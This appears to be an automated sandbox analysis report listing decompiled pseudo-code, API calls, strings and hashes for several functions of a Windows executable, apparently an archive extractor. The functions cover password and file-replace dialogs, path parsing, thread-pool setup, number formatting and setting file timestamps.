APIs

Part of subcall function 013512D7: GetDlgItem.USER32(00000000,00003021), ref: 0135131B
Part of subcall function 013512D7: SetWindowTextW.USER32(00000000,013822E4), ref: 01351331

EndDialog.USER32(?,00000001), ref: 0136A0FE
GetDlgItemTextW.USER32(?,00000066,?,00000080), ref: 0136A116
SetDlgItemTextW.USER32(?,00000067,?), ref: 0136A144

Strings

GETPASSWORD1, xrefs: 0136A0C9

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: ItemText$DialogWindow
String ID: GETPASSWORD1
API String ID: 445417207-3292211884
Opcode ID: 08a3c060bfeed3138a1850d4e0a71ec140c5939b204df92657cc2afb4a5ad64e
Instruction ID: 199bd1f25d4252bf3871b054be436ee77854f345a92ddd81a00a1ff9b03fc1c1
Opcode Fuzzy Hash: 08a3c060bfeed3138a1850d4e0a71ec140c5939b204df92657cc2afb4a5ad64e
Instruction Fuzzy Hash: A511043290021DB6DB21AF6C9C48FFB7B7CEB0A748F004021FE45F3088C6A5995597B0

Uniqueness

Uniqueness Score: -1.00%

Function 0135B1B7, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 62
COMMON

Download Yara Rule

C-Code - Quality: 70%

			E0135B1B7(void* __ecx, void* __eflags, signed short* _a4, short* _a8, intOrPtr _a12) {
				short _t10;
				void* _t13;
				signed int _t14;
				short* _t20;
				void* _t23;
				signed short* _t27;
				signed int _t29;
				signed int _t31;

				_t20 = _a8;
				_t27 = _a4;
				 *_t20 = 0;
				_t10 = E0135B4C6(_t27);
				if(_t10 == 0) {
					_t29 = 0x5c;
					if( *_t27 == _t29 && _t27[1] == _t29) {
						_push(_t29);
						_push( &(_t27[2]));
						_t10 = E01370BB8(__ecx);
						_pop(_t23);
						if(_t10 != 0) {
							_push(_t29);
							_push(_t10 + 2);
							_t13 = E01370BB8(_t23);
							if(_t13 == 0) {
								_t14 = E01372B33(_t27);
							} else {
								_t14 = (_t13 - _t27 >> 1) + 1;
							}
							asm("sbb esi, esi");
							_t31 = _t29 & _t14;
							E01374DDA(_t20, _t27, _t31);
							_t10 = 0;
							 *((short*)(_t20 + _t31 * 2)) = 0;
						}
					}
					return _t10;
				}
				return E01353E41(_t20, _a12, L"%c:\\",  *_t27 & 0x0000ffff);
			}

0x0135b1b8
0x0135b1bf
0x0135b1c4
0x0135b1c7
0x0135b1ce
0x0135b1eb
0x0135b1ef
0x0135b1fa
0x0135b1fb
0x0135b1fc
0x0135b202
0x0135b205
0x0135b20a
0x0135b20b
0x0135b20c
0x0135b215
0x0135b21f
0x0135b217
0x0135b21b
0x0135b21b
0x0135b229
0x0135b22b
0x0135b230
0x0135b238
0x0135b23a
0x0135b23a
0x0135b205
0x00000000
0x0135b23e
0x00000000

APIs

_swprintf.LIBCMT ref: 0135B1DE

Part of subcall function 01353E41: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 01353E54

_wcschr.LIBVCRUNTIME ref: 0135B1FC
_wcschr.LIBVCRUNTIME ref: 0135B20C

Strings

%c:\, xrefs: 0135B1D4

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: _wcschr$__vswprintf_c_l_swprintf
String ID: %c:\
API String ID: 525462905-3142399695
Opcode ID: bc1661a91e4c279e139f55fac0721418e5ee09c928a07c6aaec2c7b846eccffc
Instruction ID: 3429bb669c7584bb664ea48e2dd802c12fd8bdf6b0536616452d73446770c8bc
Opcode Fuzzy Hash: bc1661a91e4c279e139f55fac0721418e5ee09c928a07c6aaec2c7b846eccffc
Instruction Fuzzy Hash: 3801F5635043126ADB706B7D9C41D7FFBADEEA6AA8B40841AFC84C2585FA34D454C2B1

Uniqueness

Uniqueness Score: -1.00%

Function 01360326, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 60
COMMON

Download Yara Rule

C-Code - Quality: 74%

			E01360326(long* __ecx, long _a4) {
				void* __esi;
				void* __ebp;
				long _t11;
				void* _t14;
				long _t23;
				long* _t25;

				_t19 = __ecx;
				_t11 = _a4;
				_t25 = __ecx;
				_t23 = 0x40;
				 *__ecx = _t11;
				if(_t11 > _t23) {
					 *__ecx = _t23;
				}
				if( *_t25 == 0) {
					 *_t25 = 1;
				}
				_t25[0x41] = 0;
				if( *_t25 > _t23) {
					 *_t25 = _t23;
				}
				_t3 =  &(_t25[0xc8]); // 0x320
				_t25[0xc5] = 0;
				InitializeCriticalSection(_t3);
				_t25[0xc6] = CreateSemaphoreW(0, 0, _t23, 0);
				_t14 = CreateEventW(0, 1, 1, 0);
				_t25[0xc7] = _t14;
				if(_t25[0xc6] == 0 || _t14 == 0) {
					_push(L"\nThread pool initialization failed.");
					_push(0x13900e0);
					E01356CC9(E01356CCE(_t19), 0x13900e0, _t25, 2);
				}
				_t25[0xc3] = 0;
				_t25[0xc4] = 0;
				_t25[0x42] = 0;
				return _t25;
			}

0x01360326
0x01360326
0x0136032e
0x01360332
0x01360333
0x01360337
0x01360339
0x01360339
0x01360342
0x01360344
0x01360344
0x01360346
0x0136034e
0x01360350
0x01360350
0x01360352
0x01360358
0x0136035f
0x01360373
0x01360379
0x0136037f
0x0136038b
0x01360391
0x0136039b
0x013603a7
0x013603a7
0x013603ad
0x013603b5
0x013603bb
0x013603c4

APIs

InitializeCriticalSection.KERNEL32(00000320,00000000,?,?,?,0135A865,00000008,00000000,?,?,0135C802,?,00000000,?,00000001,?), ref: 0136035F
CreateSemaphoreW.KERNEL32(00000000,00000000,00000040,00000000,?,?,?,0135A865,00000008,00000000,?,?,0135C802,?,00000000), ref: 01360369
CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,?,?,?,0135A865,00000008,00000000,?,?,0135C802,?,00000000), ref: 01360379

Strings

Thread pool initialization failed., xrefs: 01360391

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: Create$CriticalEventInitializeSectionSemaphore
String ID: Thread pool initialization failed.
API String ID: 3340455307-2182114853
Opcode ID: 9c9b50ad32a71580fbe6cc83e004cd100d408398f2a1427cfc23d19320b49cc9
Instruction ID: b871529245c45f81059f2fc2b5b1fd9b603f5631be544dfb5b01c81f04dbc321
Opcode Fuzzy Hash: 9c9b50ad32a71580fbe6cc83e004cd100d408398f2a1427cfc23d19320b49cc9
Instruction Fuzzy Hash: A711C2F15007089FD3355F7AD8C5AABFBECEB55749F20482EF1DA86201D6B12980CB60

Uniqueness

Uniqueness Score: -1.00%

Function 0136C96E, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 46
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0136C96E(long _a4, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20) {
				long _v0;
				_Unknown_base(*)()* _t16;
				int _t22;
				WCHAR* _t25;

				 *0x13ace10 = _a12;
				 *0x13ace14 = _a16;
				 *0x13975f4 = _a20;
				if( *0x13975d3 == 0) {
					if( *0x13975d2 == 0) {
						_t16 = E0136AFB9;
						_t25 = L"REPLACEFILEDLG";
						while(1) {
							_t22 = DialogBoxParamW( *0x1390064, _t25,  *0x13975c8, _t16, _a4);
							if(_t22 != 4) {
								break;
							}
							if(DialogBoxParamW( *0x1390060, L"RENAMEDLG",  *0x13975d8, E0136C2A7, _v0) != 0) {
								break;
							}
						}
						return _t22;
					}
					return 1;
				}
				return 0;
			}

0x0136c979
0x0136c982
0x0136c98b
0x0136c990
0x0136c99d
0x0136c9ae
0x0136c9b3
0x0136c9da
0x0136c9ee
0x0136c9f3
0x00000000
0x00000000
0x0136c9d8
0x00000000
0x00000000
0x0136c9d8
0x00000000
0x0136c9fa
0x00000000
0x0136c9a1
0x00000000

Strings

RENAMEDLG, xrefs: 0136C9C9
REPLACEFILEDLG, xrefs: 0136C9B3, 0136C9E5

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID: RENAMEDLG$REPLACEFILEDLG
API String ID: 0-56093855
Opcode ID: 6e49599c9aac01a20f3256a8bf144f0fe2ae884fe72b52f2e16fcd542cda132e
Instruction ID: 23f86096a4902f169e06289d082473323e0e55950746413c93e7eeb26e051e76
Opcode Fuzzy Hash: 6e49599c9aac01a20f3256a8bf144f0fe2ae884fe72b52f2e16fcd542cda132e
Instruction Fuzzy Hash: FE01DF72204245EFD761AB6AED00E17BBFDFB48798F005426F586E235CD6729824CFA1

Uniqueness

Uniqueness Score: -1.00%

Function 01378749, Relevance: 6.3, APIs: 4, Instructions: 305
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E01378749(void* __edx, signed int* _a4, signed int _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, signed int _a24, signed int _a28, intOrPtr _a32, intOrPtr _a36) {
				signed int _v8;
				signed int _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				char _v40;
				intOrPtr _v48;
				char _v52;
				void* __ebx;
				void* __edi;
				void* _t86;
				signed int _t92;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				void* _t101;
				void* _t102;
				void* _t104;
				void* _t107;
				void* _t109;
				void* _t111;
				void* _t115;
				char* _t116;
				void* _t119;
				signed int _t121;
				signed int _t128;
				signed int* _t129;
				signed int _t136;
				signed int _t137;
				char _t138;
				signed int _t139;
				signed int _t142;
				signed int _t146;
				signed int _t151;
				char _t156;
				char _t157;
				void* _t161;
				unsigned int _t162;
				signed int _t164;
				signed int _t166;
				signed int _t170;
				void* _t171;
				signed int* _t172;
				signed int _t174;
				signed int _t181;
				signed int _t182;
				signed int _t183;
				signed int _t184;
				signed int _t185;
				signed int _t186;
				signed int _t187;

				_t171 = __edx;
				_t181 = _a24;
				if(_t181 < 0) {
					_t181 = 0;
				}
				_t184 = _a8;
				 *_t184 = 0;
				E01373356(0,  &_v52, _t171, _a36);
				_t5 = _t181 + 0xb; // 0xb
				if(_a12 > _t5) {
					_t172 = _a4;
					_t142 = _t172[1];
					_v36 =  *_t172;
					__eflags = (_t142 >> 0x00000014 & 0x000007ff) - 0x7ff;
					if((_t142 >> 0x00000014 & 0x000007ff) != 0x7ff) {
						L11:
						__eflags = _t142 & 0x80000000;
						if((_t142 & 0x80000000) != 0) {
							 *_t184 = 0x2d;
							_t184 = _t184 + 1;
							__eflags = _t184;
						}
						__eflags = _a28;
						_v16 = 0x3ff;
						_t136 = ((0 | _a28 == 0x00000000) - 0x00000001 & 0xffffffe0) + 0x27;
						__eflags = _t172[1] & 0x7ff00000;
						_v32 = _t136;
						_t86 = 0x30;
						if((_t172[1] & 0x7ff00000) != 0) {
							 *_t184 = 0x31;
							_t185 = _t184 + 1;
							__eflags = _t185;
						} else {
							 *_t184 = _t86;
							_t185 = _t184 + 1;
							_t164 =  *_t172 | _t172[1] & 0x000fffff;
							__eflags = _t164;
							if(_t164 != 0) {
								_v16 = 0x3fe;
							} else {
								_v16 = _v16 & _t164;
							}
						}
						_t146 = _t185;
						_t186 = _t185 + 1;
						_v28 = _t146;
						__eflags = _t181;
						if(_t181 != 0) {
							 *_t146 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v48 + 0x88))))));
						} else {
							 *_t146 = 0;
						}
						_t92 = _t172[1] & 0x000fffff;
						__eflags = _t92;
						_v20 = _t92;
						if(_t92 > 0) {
							L23:
							_t33 =  &_v8;
							 *_t33 = _v8 & 0x00000000;
							__eflags =  *_t33;
							_t147 = 0xf0000;
							_t93 = 0x30;
							_v12 = _t93;
							_v20 = 0xf0000;
							do {
								__eflags = _t181;
								if(_t181 <= 0) {
									break;
								}
								_t119 = E0136DAC0( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
								_t161 = 0x30;
								_t121 = _t119 + _t161 & 0x0000ffff;
								__eflags = _t121 - 0x39;
								if(_t121 > 0x39) {
									_t121 = _t121 + _t136;
									__eflags = _t121;
								}
								_t162 = _v20;
								_t172 = _a4;
								 *_t186 = _t121;
								_t186 = _t186 + 1;
								_v8 = (_t162 << 0x00000020 | _v8) >> 4;
								_t147 = _t162 >> 4;
								_t93 = _v12 - 4;
								_t181 = _t181 - 1;
								_v20 = _t162 >> 4;
								_v12 = _t93;
								__eflags = _t93;
							} while (_t93 >= 0);
							__eflags = _t93;
							if(_t93 < 0) {
								goto L39;
							}
							_t115 = E0136DAC0( *_t172 & _v8, _v12, _t172[1] & _t147 & 0x000fffff);
							__eflags = _t115 - 8;
							if(_t115 <= 8) {
								goto L39;
							}
							_t54 = _t186 - 1; // 0x1373fc1
							_t116 = _t54;
							_t138 = 0x30;
							while(1) {
								_t156 =  *_t116;
								__eflags = _t156 - 0x66;
								if(_t156 == 0x66) {
									goto L33;
								}
								__eflags = _t156 - 0x46;
								if(_t156 != 0x46) {
									_t139 = _v32;
									__eflags = _t116 - _v28;
									if(_t116 == _v28) {
										_t57 = _t116 - 1;
										 *_t57 =  *(_t116 - 1) + 1;
										__eflags =  *_t57;
									} else {
										_t157 =  *_t116;
										__eflags = _t157 - 0x39;
										if(_t157 != 0x39) {
											 *_t116 = _t157 + 1;
										} else {
											 *_t116 = _t139 + 0x3a;
										}
									}
									goto L39;
								}
								L33:
								 *_t116 = _t138;
								_t116 = _t116 - 1;
							}
						} else {
							__eflags =  *_t172;
							if( *_t172 <= 0) {
								L39:
								__eflags = _t181;
								if(_t181 > 0) {
									_push(_t181);
									_t111 = 0x30;
									_push(_t111);
									_push(_t186);
									E0136E920(_t181);
									_t186 = _t186 + _t181;
									__eflags = _t186;
								}
								_t94 = _v28;
								__eflags =  *_t94;
								if( *_t94 == 0) {
									_t186 = _t94;
								}
								__eflags = _a28;
								 *_t186 = ((_t94 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								_t174 = _a4[1];
								_t100 = E0136DAC0( *_a4, 0x34, _t174);
								_t137 = 0;
								_t151 = (_t100 & 0x000007ff) - _v16;
								__eflags = _t151;
								asm("sbb ebx, ebx");
								if(__eflags < 0) {
									L47:
									 *(_t186 + 1) = 0x2d;
									_t187 = _t186 + 2;
									__eflags = _t187;
									_t151 =  ~_t151;
									asm("adc ebx, 0x0");
									_t137 =  ~_t137;
									goto L48;
								} else {
									if(__eflags > 0) {
										L46:
										 *(_t186 + 1) = 0x2b;
										_t187 = _t186 + 2;
										L48:
										_t182 = _t187;
										_t101 = 0x30;
										 *_t187 = _t101;
										__eflags = _t137;
										if(__eflags < 0) {
											L56:
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L60:
												_push(0);
												_push(0xa);
												_push(_t137);
												_push(_t151);
												_t102 = E0136DE00();
												_v32 = _t174;
												 *_t187 = _t102 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												L61:
												_t104 = 0x30;
												_t183 = 0;
												__eflags = 0;
												 *_t187 = _t151 + _t104;
												 *(_t187 + 1) = 0;
												goto L62;
											}
											__eflags = _t137;
											if(__eflags < 0) {
												goto L61;
											}
											if(__eflags > 0) {
												goto L60;
											}
											__eflags = _t151 - 0xa;
											if(_t151 < 0xa) {
												goto L61;
											}
											goto L60;
										}
										if(__eflags > 0) {
											L51:
											_push(0);
											_push(0x3e8);
											_push(_t137);
											_push(_t151);
											_t107 = E0136DE00();
											_v32 = _t174;
											 *_t187 = _t107 + 0x30;
											_t187 = _t187 + 1;
											__eflags = _t187 - _t182;
											if(_t187 != _t182) {
												L55:
												_push(0);
												_push(0x64);
												_push(_t137);
												_push(_t151);
												_t109 = E0136DE00();
												_v32 = _t174;
												 *_t187 = _t109 + 0x30;
												_t187 = _t187 + 1;
												__eflags = _t187;
												goto L56;
											}
											L52:
											__eflags = _t137;
											if(__eflags < 0) {
												goto L56;
											}
											if(__eflags > 0) {
												goto L55;
											}
											__eflags = _t151 - 0x64;
											if(_t151 < 0x64) {
												goto L56;
											}
											goto L55;
										}
										__eflags = _t151 - 0x3e8;
										if(_t151 < 0x3e8) {
											goto L52;
										}
										goto L51;
									}
									__eflags = _t151;
									if(_t151 < 0) {
										goto L47;
									}
									goto L46;
								}
							}
							goto L23;
						}
					}
					__eflags = 0;
					if(0 != 0) {
						goto L11;
					} else {
						_t183 = E01378A4C(0, _t142, 0, _t172, _t184, _a12, _a16, _a20, _t181, 0, _a32, 0);
						__eflags = _t183;
						if(_t183 == 0) {
							_t128 = E01380FD0(_t184, 0x65);
							_pop(_t166);
							__eflags = _t128;
							if(_t128 != 0) {
								__eflags = _a28;
								_t170 = ((_t166 & 0xffffff00 | _a28 == 0x00000000) - 0x00000001 & 0x000000e0) + 0x70;
								__eflags = _t170;
								 *_t128 = _t170;
								 *((char*)(_t128 + 3)) = 0;
							}
							_t183 = 0;
						} else {
							 *_t184 = 0;
						}
						goto L62;
					}
				} else {
					_t129 = E01377ECC();
					_t183 = 0x22;
					 *_t129 = _t183;
					E01377DAB();
					L62:
					if(_v40 != 0) {
						 *(_v52 + 0x350) =  *(_v52 + 0x350) & 0xfffffffd;
					}
					return _t183;
				}
			}

0x01378749
0x01378754
0x0137875b
0x0137875d
0x0137875d
0x0137875f
0x01378768
0x0137876a
0x0137876f
0x01378775
0x0137878b
0x01378790
0x01378793
0x013787a0
0x013787a5
0x013787f9
0x01378801
0x01378803
0x01378805
0x01378808
0x01378808
0x01378808
0x0137880e
0x01378816
0x01378829
0x0137882c
0x0137882e
0x01378831
0x01378832
0x01378853
0x01378856
0x01378856
0x01378834
0x01378834
0x01378836
0x01378841
0x01378841
0x01378843
0x0137884a
0x01378845
0x01378845
0x01378845
0x01378843
0x01378857
0x01378859
0x0137885a
0x0137885d
0x0137885f
0x01378873
0x01378861
0x01378861
0x01378861
0x01378878
0x01378878
0x0137887d
0x01378880
0x0137888b
0x0137888b
0x0137888b
0x0137888b
0x0137888f
0x01378896
0x01378897
0x0137889a
0x0137889d
0x0137889d
0x0137889f
0x00000000
0x00000000
0x013788b7
0x013788be
0x013788c2
0x013788c5
0x013788c8
0x013788ca
0x013788ca
0x013788ca
0x013788cc
0x013788cf
0x013788d2
0x013788d4
0x013788dc
0x013788e2
0x013788e5
0x013788e8
0x013788e9
0x013788ec
0x013788ef
0x013788ef
0x013788f4
0x013788f7
0x00000000
0x00000000
0x0137890f
0x01378914
0x01378918
0x00000000
0x00000000
0x0137891c
0x0137891c
0x0137891f
0x01378920
0x01378920
0x01378922
0x01378925
0x00000000
0x00000000
0x01378927
0x0137892a
0x01378931
0x01378934
0x01378937
0x0137894d
0x0137894d
0x0137894d
0x01378939
0x01378939
0x0137893b
0x0137893e
0x01378949
0x01378940
0x01378943
0x01378943
0x0137893e
0x00000000
0x01378937
0x0137892c
0x0137892c
0x0137892e
0x0137892e
0x01378882
0x01378882
0x01378885
0x01378950
0x01378950
0x01378952
0x01378954
0x01378957
0x01378958
0x01378959
0x0137895a
0x01378962
0x01378962
0x01378962
0x01378964
0x01378967
0x0137896a
0x0137896c
0x0137896c
0x0137896e
0x01378980
0x01378984
0x01378987
0x0137898e
0x01378996
0x01378996
0x01378999
0x0137899b
0x013789ac
0x013789ac
0x013789b0
0x013789b0
0x013789b3
0x013789b5
0x013789b8
0x00000000
0x0137899d
0x0137899d
0x013789a3
0x013789a3
0x013789a7
0x013789ba
0x013789ba
0x013789be
0x013789bf
0x013789c1
0x013789c3
0x01378a04
0x01378a04
0x01378a06
0x01378a13
0x01378a13
0x01378a15
0x01378a17
0x01378a18
0x01378a19
0x01378a20
0x01378a23
0x01378a25
0x01378a25
0x01378a26
0x01378a28
0x01378a2b
0x01378a2b
0x01378a2d
0x01378a2f
0x00000000
0x01378a2f
0x01378a08
0x01378a0a
0x00000000
0x00000000
0x01378a0c
0x00000000
0x00000000
0x01378a0e
0x01378a11
0x00000000
0x00000000
0x00000000
0x01378a11
0x013789ca
0x013789d0
0x013789d0
0x013789d2
0x013789d3
0x013789d4
0x013789d5
0x013789dc
0x013789df
0x013789e1
0x013789e2
0x013789e4
0x013789f1
0x013789f1
0x013789f3
0x013789f5
0x013789f6
0x013789f7
0x013789fe
0x01378a01
0x01378a03
0x01378a03
0x00000000
0x01378a03
0x013789e6
0x013789e6
0x013789e8
0x00000000
0x00000000
0x013789ea
0x00000000
0x00000000
0x013789ec
0x013789ef
0x00000000
0x00000000
0x00000000
0x013789ef
0x013789cc
0x013789ce
0x00000000
0x00000000
0x00000000
0x013789ce
0x0137899f
0x013789a1
0x00000000
0x00000000
0x00000000
0x013789a1
0x0137899b
0x00000000
0x01378885
0x01378880
0x013787a7
0x013787a9
0x00000000
0x013787ab
0x013787c1
0x013787c6
0x013787c8
0x013787d4
0x013787da
0x013787db
0x013787dd
0x013787df
0x013787ea
0x013787ea
0x013787ed
0x013787ef
0x013787ef
0x013787f2
0x013787ca
0x013787ca
0x013787ca
0x00000000
0x013787c8
0x01378777
0x01378777
0x0137877e
0x0137877f
0x01378781
0x01378a33
0x01378a37
0x01378a3c
0x01378a3c
0x01378a4b
0x01378a4b

APIs

_strrchr.LIBCMT ref: 013787D4
__alldvrm.LIBCMT ref: 013789D5
__alldvrm.LIBCMT ref: 013789F7

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: __alldvrm$_strrchr
String ID:
API String ID: 1036877536-0
Opcode ID: f2926f290b12bce643c0ba6d96074ca090c44e05cafcf7f54dcf12bfeb7df9bf
Instruction ID: fb7abd4b8d33b3199c4109e75bde5d6627c2340dd6ccff57f08e14ff4da09b35
Opcode Fuzzy Hash: f2926f290b12bce643c0ba6d96074ca090c44e05cafcf7f54dcf12bfeb7df9bf
Instruction Fuzzy Hash: 3DA13272A043869FEB32CE6CC8847AEBFE5EF56358F1841EDD5959B281C23C8941C751

Uniqueness

Uniqueness Score: -1.00%

Function 01359F96, Relevance: 6.1, APIs: 4, Instructions: 127
filetimeCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E01359F96(void* __edx) {
				signed char _t40;
				void* _t41;
				void* _t52;
				signed char _t70;
				void* _t79;
				signed int* _t81;
				signed int* _t84;
				void* _t85;
				signed int* _t88;
				void* _t90;

				_t79 = __edx;
				E0136D940();
				_t84 =  *(_t90 + 0x1038);
				_t70 = 1;
				if(_t84 == 0) {
					L2:
					 *(_t90 + 0x11) = 0;
					L3:
					_t81 =  *(_t90 + 0x1040);
					if(_t81 == 0) {
						L5:
						 *(_t90 + 0x13) = 0;
						L6:
						_t88 =  *(_t90 + 0x1044);
						if(_t88 == 0) {
							L8:
							 *(_t90 + 0x12) = 0;
							L9:
							_t40 = E01359E7F( *(_t90 + 0x1038));
							 *(_t90 + 0x18) = _t40;
							if(_t40 == 0xffffffff || (_t70 & _t40) == 0) {
								_t70 = 0;
							} else {
								E0135A12F( *((intOrPtr*)(_t90 + 0x103c)), 0);
							}
							_t41 = CreateFileW( *(_t90 + 0x1050), 0x40000000, 3, 0, 3, 0x2000000, 0);
							 *(_t90 + 0x14) = _t41;
							if(_t41 != 0xffffffff) {
								L16:
								if( *(_t90 + 0x11) != 0) {
									E0136082F(_t84, _t79, _t90 + 0x1c);
								}
								if( *(_t90 + 0x13) != 0) {
									E0136082F(_t81, _t79, _t90 + 0x2c);
								}
								if( *(_t90 + 0x12) != 0) {
									E0136082F(_t88, _t79, _t90 + 0x24);
								}
								_t85 =  *(_t90 + 0x14);
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								asm("sbb eax, eax");
								SetFileTime(_t85,  ~( *(_t90 + 0x1b) & 0x000000ff) & _t90 + 0x00000030,  ~( *(_t90 + 0x16) & 0x000000ff) & _t90 + 0x00000024,  ~( *(_t90 + 0x11) & 0x000000ff) & _t90 + 0x0000001c);
								_t52 = CloseHandle(_t85);
								if(_t70 != 0) {
									_t52 = E0135A12F( *((intOrPtr*)(_t90 + 0x103c)),  *(_t90 + 0x18));
								}
								goto L24;
							} else {
								_t52 = E0135B32C( *(_t90 + 0x1040), _t90 + 0x38, 0x800);
								if(_t52 == 0) {
									L24:
									return _t52;
								}
								_t52 = CreateFileW(_t90 + 0x4c, 0x40000000, 3, 0, 3, 0x2000000, 0);
								 *(_t90 + 0x14) = _t52;
								if(_t52 == 0xffffffff) {
									goto L24;
								}
								goto L16;
							}
						}
						 *(_t90 + 0x12) = _t70;
						if(( *_t88 | _t88[1]) != 0) {
							goto L9;
						}
						goto L8;
					}
					 *(_t90 + 0x13) = _t70;
					if(( *_t81 | _t81[1]) != 0) {
						goto L6;
					}
					goto L5;
				}
				 *(_t90 + 0x11) = 1;
				if(( *_t84 | _t84[1]) != 0) {
					goto L3;
				}
				goto L2;
			}

0x01359f96
0x01359f9b
0x01359fa7
0x01359fae
0x01359fb2
0x01359fbf
0x01359fbf
0x01359fc3
0x01359fc3
0x01359fcc
0x01359fd9
0x01359fd9
0x01359fdd
0x01359fdd
0x01359fe6
0x01359ff4
0x01359ff4
0x01359ff8
0x01359fff
0x0135a004
0x0135a00b
0x0135a021
0x0135a011
0x0135a01a
0x0135a01a
0x0135a03c
0x0135a042
0x0135a049
0x0135a093
0x0135a098
0x0135a0a1
0x0135a0a1
0x0135a0ab
0x0135a0b4
0x0135a0b4
0x0135a0be
0x0135a0c7
0x0135a0c7
0x0135a0d7
0x0135a0db
0x0135a0eb
0x0135a0fb
0x0135a101
0x0135a108
0x0135a110
0x0135a11d
0x0135a11d
0x00000000
0x0135a04b
0x0135a05c
0x0135a063
0x0135a122
0x0135a12c
0x0135a12c
0x0135a080
0x0135a086
0x0135a08d
0x00000000
0x00000000
0x00000000
0x0135a08d
0x0135a049
0x01359fee
0x01359ff2
0x00000000
0x00000000
0x00000000
0x01359ff2
0x01359fd3
0x01359fd7
0x00000000
0x00000000
0x00000000
0x01359fd7
0x01359fb9
0x01359fbd
0x00000000
0x00000000
0x00000000

APIs

CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,?,00000000,?,01357F2C,?,?,?), ref: 0135A03C
CreateFileW.KERNEL32(?,40000000,00000003,00000000,00000003,02000000,00000000,?,?,00000800,?,00000000,?,01357F2C,?,?), ref: 0135A080
SetFileTime.KERNEL32(?,00000800,?,00000000,?,00000000,?,01357F2C,?,?,?,?,?,?,?,?), ref: 0135A101
CloseHandle.KERNEL32(?,?,00000000,?,01357F2C,?,?,?,?,?,?,?,?,?,?,?), ref: 0135A108

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: File$Create$CloseHandleTime
String ID:
API String ID: 2287278272-0
Opcode ID: 933add743314a5a1b677d5bf0c160e799953e5811659ef2f0da5dc0c25133895
Instruction ID: 87caff04dc842d907b99ef24cd3b793ff9202194058cd4978e158511fa9eba82
